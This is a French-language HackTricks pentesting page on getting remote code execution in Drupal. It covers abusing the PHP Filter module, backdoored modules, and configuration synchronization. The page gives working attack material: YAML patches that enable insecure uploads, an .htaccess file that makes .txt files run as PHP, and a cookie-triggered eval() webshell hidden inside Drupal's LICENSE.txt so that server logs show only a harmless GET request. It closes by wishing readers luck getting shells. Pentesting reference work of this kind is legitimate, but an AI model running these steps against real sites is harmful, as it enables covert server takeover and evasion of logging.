Drupal RCE
Reading time: 8 minutes
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PRs au HackTricks et HackTricks Cloud dépôts github.
Avec le module PHP Filter
warning
Dans les anciennes versions de Drupal (avant la version 8), il était possible de se connecter en tant qu'administrateur et d'activer le module PHP filter
, qui "Permet d'évaluer le code/snippets PHP intégrés." Mais à partir de la version 8, ce module n'est pas installé par défaut.
- Allez à /modules/php et si une erreur 403 est retournée, alors le plugin PHP filter est installé et vous pouvez continuer
- Sinon, allez dans
Modules
et cochez la case dePHP Filter
puis cliquez surSave configuration
- Ensuite, pour l'exploiter, cliquez sur
Add content
, puis sélectionnezBasic Page
ouArticle
et écrivez la backdoor PHP, puis sélectionnez le codePHP
en format texte et enfin sélectionnezPreview
- Pour le déclencher, accédez simplement au nœud nouvellement créé :
curl http://drupal.local/node/3
Installer le module PHP Filter
warning
Dans les versions actuelles, il n'est plus possible d'installer des plugins en n'ayant accès qu'au web après l'installation par défaut.
À partir de la version 8, le module PHP Filter n'est pas installé par défaut. Pour tirer parti de cette fonctionnalité, nous devrions installer le module nous-mêmes.
- Téléchargez la version la plus récente du module depuis le site Drupal.
wget https://ftp.drupal.org/files/projects/php-8.x-1.1.tar.gz
- Une fois téléchargé, allez dans
Administration
>Reports
>Available updates
. - Cliquez sur
Browse
, sélectionnez le fichier dans le répertoire où nous l'avons téléchargé, puis cliquez surInstall
. - Une fois le module installé, nous pouvons cliquer sur
Content
et créer une nouvelle page de base, comme nous l'avons fait dans l'exemple de Drupal 7. Encore une fois, assurez-vous de sélectionnerPHP code
dans le menu déroulantText format
.
Module avec backdoor
warning
Dans les versions actuelles, il n'est plus possible d'installer des plugins en n'ayant accès qu'au web après l'installation par défaut.
Il était possible de télécharger un module, d'ajouter une backdoor et de l'installer. Par exemple, télécharger le module Trurnstile au format compressé, créer un nouveau fichier PHP de backdoor à l'intérieur, permettant l'accès au fichier PHP avec un fichier .htaccess
:
<IfModule mod_rewrite.c> RewriteEngine On RewriteBase / </IfModule>
Et ensuite, allez sur http://drupal.local/admin/modules/install
pour installer le module compromis et accédez à /modules/turnstile/back.php
pour l'exécuter.
Backdooring Drupal avec la synchronisation de configuration
Post partagé par Coiffeur0x90
Partie 1 (activation de Media et Media Library)
Dans le menu Extend (/admin/modules), vous pouvez activer ce qui semble être des plugins déjà installés. Par défaut, les plugins Media et Media Library ne semblent pas être activés, alors activons-les.
Avant l'activation :
 (1) (1) (1) (1).png)
Après l'activation :
 (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png)
 (1) (1) (1) (1) (1) (1).png)
Partie 2 (exploitation de la fonctionnalité Configuration synchronization)
Nous allons exploiter la fonctionnalité Configuration synchronization pour dumper (exporter) et télécharger (importer) des entrées de configuration Drupal :
- /admin/config/development/configuration/single/export
- /admin/config/development/configuration/single/import
Patch system.file.yml
Commençons par patcher la première entrée allow_insecure_uploads
à partir de :
Fichier : system.file.yml
...
allow_insecure_uploads: false
...
 (1) (1) (1) (1) (1) (1).png)
À :
Fichier : system.file.yml
...
allow_insecure_uploads: true
...
 (1) (1) (1) (1) (1).png)
Patch field.field.media.document.field_media_document.yml
Ensuite, patcher la deuxième entrée file_extensions
de :
Fichier : field.field.media.document.field_media_document.yml
...
file_directory: '[date:custom:Y]-[date:custom:m]'
file_extensions: 'txt rtf doc docx ppt pptx xls xlsx pdf odf odg odp ods odt fodt fods fodp fodg key numbers pages'
...
 (1) (1) (1).png)
À :
Fichier : field.field.media.document.field_media_document.yml
...
file_directory: '[date:custom:Y]-[date:custom:m]'
file_extensions: 'htaccess txt rtf doc docx ppt pptx xls xlsx pdf odf odg odp ods odt fodt fods fodp fodg key numbers pages'
...
Je ne l'utilise pas dans cet article de blog, mais il est noté qu'il est possible de définir l'entrée
file_directory
de manière arbitraire et qu'elle est vulnérable à une attaque par traversée de chemin (nous pouvons donc remonter dans l'arborescence du système de fichiers Drupal).
 (1) (1) (1).png)
Partie 3 (exploitation de la fonctionnalité Ajouter un document)
La dernière étape est la plus simple et se décompose en deux sous-étapes. La première consiste à télécharger un fichier au format .htaccess pour exploiter les directives Apache et permettre aux fichiers .txt d'être interprétés par le moteur PHP. La seconde consiste à télécharger un fichier .txt contenant notre payload.
Fichier : .htaccess
<Files *>
SetHandler application/x-httpd-php
</Files>
# Vroum! Vroum!
# We reactivate PHP engines for all versions in order to be targetless.
<IfModule mod_php.c>
php_flag engine on
</IfModule>
<IfModule mod_php7.c>
php_flag engine on
</IfModule>
<IfModule mod_php5.c>
php_flag engine on
</IfModule>
Pourquoi ce truc est-il cool ?
Parce qu'une fois que le Webshell (que nous appellerons LICENSE.txt) est déposé sur le serveur Web, nous pouvons transmettre nos commandes via $_COOKIE
et dans les journaux du serveur Web, cela apparaîtra comme une requête GET légitime vers un fichier texte.
Pourquoi nommer notre Webshell LICENSE.txt ?
Tout simplement parce que si nous prenons le fichier suivant, par exemple core/LICENSE.txt (qui est déjà présent dans le cœur de Drupal), nous avons un fichier de 339 lignes et 17,6 Ko, ce qui est parfait pour ajouter un petit extrait de code PHP au milieu (puisque le fichier est suffisamment grand).
 (1) (1) (1).png)
Fichier : LICENSE.txt patché
...
this License, you may choose any version ever published by the Free Software
Foundation.
<?php
# We inject our payload into the cookies so that in the logs of the compromised
# server it shows up as having been requested via the GET method, in order to
# avoid raising suspicions.
if (isset($_COOKIE["89e127753a890d9c4099c872704a0711bbafbce9"])) {
if (!empty($_COOKIE["89e127753a890d9c4099c872704a0711bbafbce9"])) {
eval($_COOKIE["89e127753a890d9c4099c872704a0711bbafbce9"]);
} else {
phpinfo();
}
}
?>
10. If you wish to incorporate parts of the Program into other free
programs whose distribution conditions are different, write to the author
...
Partie 3.1 (télécharger le fichier .htaccess)
Tout d'abord, nous utilisons la fonctionnalité Add Document (/media/add/document) pour télécharger notre fichier contenant les directives Apache (.htaccess).
 (1) (1) (1).png)
 (1) (1) (1).png)
 (1) (1) (1).png)
Partie 3.2 (télécharger le fichier LICENSE.txt)
Ensuite, nous utilisons à nouveau la fonctionnalité Add Document (/media/add/document) pour télécharger un Webshell caché dans un fichier de licence.
 (1).png)
 (1).png)
 (1).png)
Partie 4 (interaction avec le Webshell)
La dernière partie consiste à interagir avec le Webshell.
Comme montré dans la capture d'écran suivante, si le cookie attendu par notre Webshell n'est pas défini, nous obtenons le résultat suivant lors de la consultation du fichier via un navigateur Web.
 (1).png)
Lorsque l'attaquant définit le cookie, il peut interagir avec le Webshell et exécuter toutes les commandes qu'il souhaite.
 (1).png)
Et comme vous pouvez le voir dans les journaux, il semble qu'un seul fichier txt ait été demandé.
 (1).png)
Merci d'avoir pris le temps de lire cet article, j'espère qu'il vous aidera à obtenir des shells.
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PRs au HackTricks et HackTricks Cloud dépôts github.